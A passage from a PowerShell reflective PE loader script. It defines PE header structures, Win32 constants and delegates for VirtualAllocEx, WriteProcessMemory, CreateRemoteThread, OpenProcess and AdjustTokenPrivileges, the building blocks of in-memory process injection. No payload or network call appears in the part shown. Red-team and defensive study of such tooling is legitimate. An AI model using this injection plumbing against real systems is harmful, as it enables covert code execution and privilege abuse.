'Public')).SetOffset(0) | Out-Null 368 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 369 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 370 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 371 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 372 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 373 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 374 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 375 | ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null 376 | ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null 377 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 378 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 379 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 380 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 381 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 382 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 383 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 384 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 385 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 386 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 387 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 388 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 389 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 390 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 391 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null 392 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null 393 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null 394 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null 395 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null 396 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null 397 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null 398 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null 399 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 400 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 401 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 402 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 403 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 404 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 405 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 406 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 407 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 408 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 409 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 410 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 411 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 412 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 413 | $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() 414 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 415 | 416 | #Struct IMAGE_NT_HEADERS64 417 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 418 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) 419 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 420 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 421 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null 422 | $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() 423 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 424 | 425 | #Struct IMAGE_NT_HEADERS32 426 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 427 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) 428 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 429 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 430 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null 431 | $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() 432 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 433 | 434 | #Struct IMAGE_DOS_HEADER 435 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 436 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) 437 | $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null 438 | $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null 439 | $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null 440 | $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null 441 | $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null 442 | $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null 443 | $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null 444 | $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null 445 | $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null 446 | $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null 447 | $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null 448 | $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null 449 | $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null 450 | $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null 451 | 452 | $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') 453 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 454 | $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 455 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) 456 | $e_resField.SetCustomAttribute($AttribBuilder) 457 | 458 | $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null 459 | $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null 460 | 461 | $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') 462 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 463 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) 464 | $e_res2Field.SetCustomAttribute($AttribBuilder) 465 | 466 | $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null 467 | $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() 468 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER 469 | 470 | #Struct IMAGE_SECTION_HEADER 471 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 472 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) 473 | 474 | $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') 475 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 476 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) 477 | $nameField.SetCustomAttribute($AttribBuilder) 478 | 479 | $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null 480 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null 481 | $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null 482 | $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null 483 | $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null 484 | $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null 485 | $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null 486 | $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null 487 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 488 | $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() 489 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER 490 | 491 | #Struct IMAGE_BASE_RELOCATION 492 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 493 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) 494 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null 495 | $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null 496 | $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() 497 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION 498 | 499 | #Struct IMAGE_IMPORT_DESCRIPTOR 500 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 501 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) 502 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 503 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 504 | $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null 505 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null 506 | $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null 507 | $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() 508 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR 509 | 510 | #Struct IMAGE_EXPORT_DIRECTORY 511 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 512 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) 513 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 514 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 515 | $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null 516 | $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null 517 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null 518 | $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null 519 | $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null 520 | $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null 521 | $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null 522 | $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null 523 | $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null 524 | $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() 525 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY 526 | 527 | #Struct LUID 528 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 529 | $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) 530 | $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 531 | $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null 532 | $LUID = $TypeBuilder.CreateType() 533 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID 534 | 535 | #Struct LUID_AND_ATTRIBUTES 536 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 537 | $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) 538 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null 539 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 540 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() 541 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES 542 | 543 | #Struct TOKEN_PRIVILEGES 544 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 545 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) 546 | $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 547 | $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null 548 | $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() 549 | $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES 550 | 551 | return $Win32Types 552 | } 553 | 554 | Function Get-Win32Constants 555 | { 556 | $Win32Constants = New-Object System.Object 557 | 558 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 559 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 560 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 561 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 562 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 563 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 564 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 565 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 566 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 567 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 568 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 569 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 570 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 571 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 572 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 573 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 574 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 575 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 576 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 577 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 578 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 579 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 580 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 581 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 582 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 583 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 584 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 585 | $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 586 | $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 587 | 588 | return $Win32Constants 589 | } 590 | 591 | Function Get-Win32Functions 592 | { 593 | $Win32Functions = New-Object System.Object 594 | 595 | $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc 596 | $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) 597 | $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) 598 | $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc 599 | 600 | $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx 601 | $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) 602 | $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) 603 | $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx 604 | 605 | $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy 606 | $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) 607 | $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) 608 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy 609 | 610 | $memsetAddr = Get-ProcAddress msvcrt.dll memset 611 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) 612 | $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) 613 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset 614 | 615 | $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA 616 | $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) 617 | $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) 618 | $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary 619 | 620 | $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress 621 | $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) 622 | $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) 623 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress 624 | 625 | $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself 626 | $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) 627 | $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) 628 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr 629 | 630 | $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree 631 | $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) 632 | $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) 633 | $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree 634 | 635 | $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx 636 | $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) 637 | $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) 638 | $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx 639 | 640 | $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect 641 | $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) 642 | $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) 643 | $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect 644 | 645 | $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA 646 | $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) 647 | $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) 648 | $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle 649 | 650 | $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary 651 | $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) 652 | $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) 653 | $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary 654 | 655 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 656 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 657 | $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 658 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess 659 | 660 | $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject 661 | $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) 662 | $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) 663 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject 664 | 665 | $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory 666 | $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) 667 | $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) 668 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory 669 | 670 | $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory 671 | $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) 672 | $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) 673 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory 674 | 675 | $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread 676 | $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 677 | $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) 678 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread 679 | 680 | $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread 681 | $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) 682 | $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) 683 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread 684 | 685 | $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken 686 | $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) 687 | $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) 688 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken 689 | 690 | $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread 691 | $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) 692 | $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) 693 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread 694 | 695 | $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges 696 | $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) 697 | $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) 698 | $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges 699 | 700 | $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA 701 | $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) 702 | $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, 